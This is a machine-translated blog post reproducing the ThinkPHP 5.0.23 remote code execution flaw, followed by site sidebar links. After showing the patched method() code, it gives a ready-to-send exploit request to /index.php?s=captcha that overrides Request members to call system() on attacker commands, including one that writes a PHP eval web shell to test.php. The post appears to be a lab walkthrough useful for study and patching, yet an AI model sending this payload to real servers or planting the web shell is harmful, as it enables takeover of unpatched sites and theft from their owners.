当前位置:网站首页>Vulnerability recurrence ----- 38. Thinkphp5 5.0.23 Remote Code Execution Vulnerability
Vulnerability recurrence ----- 38. Thinkphp5 5.0.23 Remote Code Execution Vulnerability
2022-06-30 18:23:00 【Seven days】
List of articles
One 、 Vulnerability profile
5.0.23 In previous versions , obtain method The method name is not handled correctly in the method of , Causes an attacker to call Request Class any method and construct the utilization chain , This leads to a Remote Code Execution Vulnerability .Thinkphp Source download
The vulnerability code is as follows :
@@ -522,8 +522,11 @@ public function method($method = false)
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{
$this->method}($_POST);
$method = strtoupper($_POST[Config::get('var_method')]);
if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{
$this->method}($_POST);
}
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
call $this->{$this->method}($_POST); sentence . When we can control $method The value of , You can call Request Class , When the constructor is called __construct() when , Can be covered Request Any member variable of a class , You can override $this->method, Appoint check() Methods $method value .
Two 、 Loophole recurrence
visit IP:8080 Grab the bag
Change request toPOST /index.php?s=captcha
Message body is :_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=command
commond=id/ls/whoami/echo <?php eval($_POST['cmd']);?> > test.php


边栏推荐
- Design of online shopping mall based on SSH
- ASP. Net generate verification code
- Redis (II) -- persistence
- Small Tools(3) 集成Knife4j3.0.3接口文档
- Servlet operation principle_ API details_ Advanced path of request response construction (servlet_2)
- Flutter custom component
- [software testing] basic knowledge of software testing you need to know
- 火山引擎入选国内首个《边缘计算产业全景图》
- MIT science and Technology Review released the list of innovators under the age of 35 in 2022, including alphafold authors, etc
- MySQL advanced - basic index and seven joins
猜你喜欢

What does software testing need to learn? Test learning outline sorting

Redis (IV) - delete policy

Mo Tianlun salon | Tsinghua qiaojialin: Apache iotdb, originated from Tsinghua, is building an open source ecological road

Dropout: immediate deactivation

Switching routing (VLAN) experiment

autocad中文语言锁定只读警报怎么解决?

Simulation of campus network design based on ENSP

How to write a technical proposal

Rainbow Brackets 插件的快捷键

清华只能排第3?2022软科中国大学AI专业排名发布
随机推荐
Design and principle of tubes responsive data system
同济、阿里的CVPR 2022最佳学生论文奖研究了什么?这是一作的解读
What should I pay attention to when playing futures? Where is safe to open an account? It's my first contact
漏洞复现----38、ThinkPHP5 5.0.23 远程代码执行漏洞
autocad中文语言锁定只读警报怎么解决?
MySQL advanced - index optimization (super detailed)
【机器学习】K-means聚类分析
[cloud resident co creation] Huawei iconnect enables IOT terminals to connect at one touch
Optimization of interface display for general kernel upgrade of mobo video management system v3.5.0
Mo Tianlun salon | Tsinghua qiaojialin: Apache iotdb, originated from Tsinghua, is building an open source ecological road
C# Winform程序界面优化实例
又一篇CVPR 2022论文被指抄袭,平安保险研究者控诉IBM苏黎世团队
力扣解法汇总1175-质数排列
程序员女友给我做了一个疲劳驾驶检测
Dropout: immediate deactivation
Apache parsing vulnerability (cve-2017-15715)_ Vulnerability recurrence
先写API文档还是先写代码?
Taishan Office Technology Lecture: how to align and draw words of different sizes on the same line
剑指 Offer 17. 打印从1到最大的n位数
What does software testing need to learn? Test learning outline sorting